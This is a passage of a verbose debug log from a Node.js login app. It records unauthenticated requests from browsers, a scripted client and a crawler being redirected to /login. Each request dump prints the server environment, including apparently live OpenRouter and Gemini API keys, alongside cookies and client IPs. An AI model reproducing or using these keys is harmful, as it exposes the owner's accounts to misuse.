    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    pragma: 'no-cache',
    'cache-control': 'no-cache',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'cross-site',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'http://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    cookie: 'wssplashchk=8d58d3dfa0ee7aea209718cfc796bd175d1ed00d.1770558418.1',
    'x-forwarded-for': '205.169.39.32,127.0.0.1',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: '8d58d3dfa0ee7aea209718cfc796bd175d1ed00d.1770558418.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T12:46:59.670Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '205.169.39.32',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_PRAGMA: 'no-cache',
    HTTP_CACHE_CONTROL: 'no-cache',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.132 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'cross-site',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'http://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=8d58d3dfa0ee7aea209718cfc796bd175d1ed00d.1770558418.1',
    'HTTP_X_FORWARDED-FOR': '205.169.39.32,127.0.0.1',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T12:49:46.563Z server-connect:router Serving templateView /
2026-02-08T12:49:46.563Z server-connect:app Executing action step identify
2026-02-08T12:49:46.563Z server-connect:app options: { provider: 'security' }
2026-02-08T12:49:46.563Z server-connect:auth No login cookie found
2026-02-08T12:49:46.563Z server-connect:output identity: false
2026-02-08T12:49:46.563Z server-connect:app Executing action step restrict
2026-02-08T12:49:46.563Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T12:49:46.564Z server-connect:output restrict: undefined
2026-02-08T12:49:48.614Z server-connect:router Serving templateView /login
2026-02-08T12:49:48.615Z server-connect:app Executing action step identify
2026-02-08T12:49:48.615Z server-connect:app options: { provider: 'security' }
2026-02-08T12:49:48.615Z server-connect:auth No login cookie found
2026-02-08T12:49:48.615Z server-connect:output identity: false
2026-02-08T12:49:48.615Z server-connect:router Render template layouts/authentication
2026-02-08T12:49:48.615Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'accept-encoding': 'gzip',
    'user-agent': 'req/v3 (https://github.com/imroc/req)',
    'x-forwarded-for': '83.143.242.12',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T12:49:48.614Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '83.143.242.12',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT_ENCODING: 'gzip',
    HTTP_USER_AGENT: 'req/v3 (https://github.com/imroc/req)',
    'HTTP_X_FORWARDED-FOR': '83.143.242.12',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T13:01:03.885Z server-connect:router Serving templateView /
2026-02-08T13:01:03.886Z server-connect:app Executing action step identify
2026-02-08T13:01:03.886Z server-connect:app options: { provider: 'security' }
2026-02-08T13:01:03.887Z server-connect:auth No login cookie found
2026-02-08T13:01:03.887Z server-connect:output identity: false
2026-02-08T13:01:03.887Z server-connect:app Executing action step restrict
2026-02-08T13:01:03.887Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T13:01:03.887Z server-connect:output restrict: undefined
2026-02-08T13:01:04.448Z server-connect:router Serving templateView /login
2026-02-08T13:01:04.448Z server-connect:app Executing action step identify
2026-02-08T13:01:04.448Z server-connect:app options: { provider: 'security' }
2026-02-08T13:01:04.448Z server-connect:auth No login cookie found
2026-02-08T13:01:04.448Z server-connect:output identity: false
2026-02-08T13:01:04.448Z server-connect:router Render template layouts/authentication
2026-02-08T13:01:04.449Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36',
    'accept-language': 'en-US',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    'sec-ch-ua': '"Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    priority: 'u=0, i',
    cookie: 'wssplashchk=05011bd9730015d07b8f15b6a4b55e56cce8079c.1770559263.1',
    'x-forwarded-for': '96.31.87.251,127.0.0.1',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: '05011bd9730015d07b8f15b6a4b55e56cce8079c.1770559263.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T13:01:04.447Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '96.31.87.251',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT_LANGUAGE: 'en-US',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    'HTTP_SEC_CH-UA': '"Not)A;Brand";v="8", "Chromium";v="138", "Google Chrome";v="138"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=05011bd9730015d07b8f15b6a4b55e56cce8079c.1770559263.1',
    'HTTP_X_FORWARDED-FOR': '96.31.87.251,127.0.0.1',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T13:42:57.304Z server-connect:router Serving templateView /
2026-02-08T13:42:57.305Z server-connect:app Executing action step identify
2026-02-08T13:42:57.305Z server-connect:app options: { provider: 'security' }
2026-02-08T13:42:57.305Z server-connect:auth No login cookie found
2026-02-08T13:42:57.305Z server-connect:output identity: false
2026-02-08T13:42:57.305Z server-connect:app Executing action step restrict
2026-02-08T13:42:57.305Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T13:42:57.306Z server-connect:output restrict: undefined
2026-02-08T13:42:57.435Z server-connect:router Serving templateView /login
2026-02-08T13:42:57.435Z server-connect:app Executing action step identify
2026-02-08T13:42:57.435Z server-connect:app options: { provider: 'security' }
2026-02-08T13:42:57.435Z server-connect:auth No login cookie found
2026-02-08T13:42:57.435Z server-connect:output identity: false
2026-02-08T13:42:57.435Z server-connect:router Render template layouts/authentication
2026-02-08T13:42:57.436Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'x-openai-host-hash': '305201621',
    referer: 'https://ems.sanjaychaurasia.xyz/',
    accept: '*/*',
    from: 'gptbot(at)openai.com',
    'user-agent': 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    'accept-encoding': 'gzip,br',
    'x-forwarded-for': '74.7.241.27',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T13:42:57.435Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '74.7.241.27',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_X_OPENAI-HOST-HASH': '305201621',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT: '*/*',
    HTTP_FROM: 'gptbot(at)openai.com',
    HTTP_USER_AGENT: 'Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    'HTTP_X_FORWARDED-FOR': '74.7.241.27',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T13:44:30.498Z server-connect:router Serving templateView /
2026-02-08T13:44:30.498Z server-connect:app Executing action step identify
2026-02-08T13:44:30.499Z server-connect:app options: { provider: 'security' }
2026-02-08T13:44:30.499Z server-connect:auth No login cookie found
2026-02-08T13:44:30.499Z server-connect:output identity: false
2026-02-08T13:44:30.499Z server-connect:app Executing action step restrict
2026-02-08T13:44:30.499Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T13:44:30.499Z server-connect:output restrict: undefined
2026-02-08T13:44:31.416Z server-connect:router Serving templateView /login
2026-02-08T13:44:31.417Z server-connect:app Executing action step identify
2026-02-08T13:44:31.417Z server-connect:app options: { provider: 'security' }
2026-02-08T13:44:31.417Z server-connect:auth No login cookie found
2026-02-08T13:44:31.417Z server-connect:output identity: false
2026-02-08T13:44:31.417Z server-connect:router Render template layouts/authentication
2026-02-08T13:44:31.417Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    'accept-language': 'en-US,en;q=0.9,es;q=0.8',
    'accept-encoding': 'gzip',
    'upgrade-insecure-requests': '1',
    dnt: '1',
    priority: 'u=1',
    'sec-fetch-mode': 'cors',
    'x-forwarded-for': '206.188.197.142',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T13:44:31.416Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '206.188.197.142',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,es;q=0.8',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_DNT: '1',
    HTTP_PRIORITY: 'u=1',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_X_FORWARDED-FOR': '206.188.197.142',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T13:47:43.570Z server-connect:router Serving templateView /
2026-02-08T13:47:43.570Z server-connect:app Executing action step identify
2026-02-08T13:47:43.570Z server-connect:app options: { provider: 'security' }
2026-02-08T13:47:43.570Z server-connect:auth No login cookie found
2026-02-08T13:47:43.570Z server-connect:output identity: false
2026-02-08T13:47:43.570Z server-connect:app Executing action step restrict
2026-02-08T13:47:43.570Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T13:47:43.571Z server-connect:output restrict: undefined
2026-02-08T13:47:44.001Z server-connect:router Serving templateView /login
2026-02-08T13:47:44.001Z server-connect:app Executing action step identify
2026-02-08T13:47:44.001Z server-connect:app options: { provider: 'security' }
2026-02-08T13:47:44.001Z server-connect:auth No login cookie found
2026-02-08T13:47:44.001Z server-connect:output identity: false
2026-02-08T13:47:44.001Z server-connect:router Render template layouts/authentication
2026-02-08T13:47:44.002Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    connection: 'keep-alive',
    'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'sec-ch-ua': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    'sec-fetch-mode': 'navigate',
    'x-forwarded-for': '107.172.195.214',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-09T13:47:44.001Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '107.172.195.214',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    HTTP_CONNECTION: 'keep-alive',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': 'Google Chrome";v="111", "Not(A:Brand";v="8", "Chromium";v="111',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_X_FORWARDED-FOR': '107.172.195.214',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-02-08T13:47:44.065Z server-connect:router Serving templateView /
2026-02-08T13:47:44.065Z server-connect:app Executing action step identify
2026-02-08T13:47:44.065Z server-connect:app options: { provider: 'security' }
2026-02-08T13:47:44.065Z server-connect:auth No login cookie found
2026-02-08T13:47:44.065Z server-connect:output identity: false
2026-02-08T13:47:44.065Z server-connect:app Executing action step restrict
2026-02-08T13:47:44.065Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-08T13:47:44.066Z server-connect:output restrict: undefined
2026-02-08T13:47:44.644Z server-connect:router Serving templateView /login
2026-02-08T13:47:44.644Z server-connect:app Executing action step identify
2026-02-08T13:47:44.644Z server-connect:app options: { provider: 'security' }
2026-02-08T13:47:44.645Z server-connect:auth No login cookie found
2026-02-08T13:47:44.645Z server-connect:output identity: false
2026-02-08T13:47:44.645Z server-connect:router Render template layouts/authentication
2026-02-08T13:47:44.645Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
